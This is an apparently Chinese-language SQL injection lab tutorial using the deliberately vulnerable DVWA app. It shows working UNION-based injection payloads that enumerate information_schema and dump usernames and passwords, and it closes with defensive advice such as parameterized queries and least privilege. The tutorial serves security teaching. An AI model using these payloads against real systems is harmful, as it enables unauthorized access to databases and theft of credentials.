SQL注入實戰篇

      今天要介紹的是SQL注入實驗。SQL注入攻擊的學習,我們更多的目的是為了學習攻擊技術和防范策略,而不是刻意去攻擊數據庫。

      首先我們先進入實驗地址《SQL 注入》。

      SQL注入是一種代碼注入技術,過去常常用于攻擊數據驅動性的應用,實質就是將惡意的SQL代碼注入到特定字段用于實施拖庫攻擊等。SQL注入的成功必須借助應用程序的安全漏洞,例如用戶輸入沒有經過正確地過濾(針對某些特定字符串)或者沒有特別強調類型的時候,都容易造成異常地執行SQL語句。SQL注入是網站滲透中最常用的攻擊技術,但是其實SQL注入可以用來攻擊所有的SQL數據庫。以Sql注入產生的直接原因是拼湊SQL,絕大多數程序員在做開發的時候并不會去關注SQL最終是怎么去運行的,更不會去關注SQL執行的安全性,正是有了這種懶惰的程序員SQL注入一直沒有消失。這種漏洞不是不可以避免,只是程序員沒有這種安全意識。

      對于注入漏洞來說,可能現在很多人認為它已經過時,因為這種漏洞可以被參數化查詢而杜絕。以前對這種漏洞的防御方式主要有三種:

      字符串檢測:限定內容只能由英文、數字等常規字符,如果檢查到用戶輸入有特殊字符,直接拒絕。但缺點是,系統中不可避免地會有些內容包含特殊字符,這時候總不能拒絕入庫。

      字符串替換:把危險字符替換成其他字符,缺點是危險字符可能有很多,一一枚舉替換相當麻煩,也可能有漏網之魚。

      存儲過程:把參數傳到存儲過程進行處理,但并不是所有數據庫都支持存儲過程。如果存儲過程中執行的命令也是通過拼接字符串出來的,還是會有漏洞。

      我們還是來實踐吧,這樣更好理解。

      我們先看一下實驗的大致思路

      (1)找注入并確認(經典的and 1=1 and1=2)

      (2)查詢基本信息(數據庫類型、數據庫名、應用程序類型以及系統類型)

      (3)查表名、字段名,拿到想查詢的內容

      首先我們看一下源碼

      這就是這一段sql查詢語句造成了最常見的SQL注入。我們繼續實驗,這次利用到了dvwa,我們登錄dvwa然后選擇SQL Injection 底下難度選擇low。

      先進行sql注入的第一步測試是否存在sql注入漏洞。

      ID等于1的時候可以正?;仫@

      And 1=1可以正?;仫@

      And 1=2返回錯誤

      這里直接返回了首頁,和and 1=1返回的頁面不一樣。這里存在SQL注入。

      為什么這樣就判斷有sql注入了呢?原理是把測試語句代入到了數據庫查詢,and就是邏輯運算,1=1為真,1=2為假,所以返回不同。

      好我們接下來進行第二步判斷字段數,order by 2返回正常order by 3返回錯誤。

      字段數已經判斷出來,下面如何進一步判斷數據庫名和用戶名等基本信息。

      利用語句查詢知道有兩個字段,接著查詢數據庫名和用戶。

      查詢數據庫等基本信息。

      UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())

      這是直接返回了數據庫的usr database version。我們知道數據庫的名字不就可以利用查詢語句找到表的名字。

      查詢表段

      union select 1,table_name from information_schema.tables where table_schema=0x64767761(數據庫的十六進制)

      查詢列名

      union select 1,column_name from information_schema.columns where table_name=0x7573657273(表的十六進制) and table_schema=0x64767761(數據庫的十六進制)

      查詢用戶名密碼

      union select password,user from users

      這就把用戶名跟密碼爆出來了。

      sql注入還不止這點,還有很多類型:

      1)注入分為哪幾種類型?分類依據是什么?是否唯一?

      2)普通注入和盲注的區別是什么?利用方法有什么不同?

      本次的實驗就介紹到這里,注意多加總結和思考課后問題!我們學習的目的除了了解之外,更重要的是學習如何防范SQL注入。在面對SQL注入攻擊的時候,了解其原理才能更好的防范。

      下面總結幾點防范SQL注入攻擊的要點:

      1.永遠不要信任用戶的輸入,要對用戶的輸入進行校驗,可以通過正則表達式,或限制長度,對單引號和雙"-"進行轉換等。

      2.永遠不要使用動態拼裝SQL,可以使用參數化的SQL或者直接使用存儲過程進行數據查詢存取。

      3.永遠不要使用管理員權限的數據庫連接,為每個應用使用單獨的權限有限的數據庫連接。

      4.不要把機密信息明文存放,請加密或者hash掉密碼和敏感的信息。

      5.應用的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝,把異常信息存放在獨立的表中。

      免責聲明:本文僅代表文章作者的個人觀點,與本站無關。其原創性、真實性以及文中陳述文字和內容未經本站證實,對本文以及其中全部或者部分內容文字的真實性、完整性和原創性本站不作任何保證或承諾,請讀者僅作參考,并自行核實相關內容。

      http://image95.pinlue.com/image/63.jpg
      分享
      評論
      首頁
      和记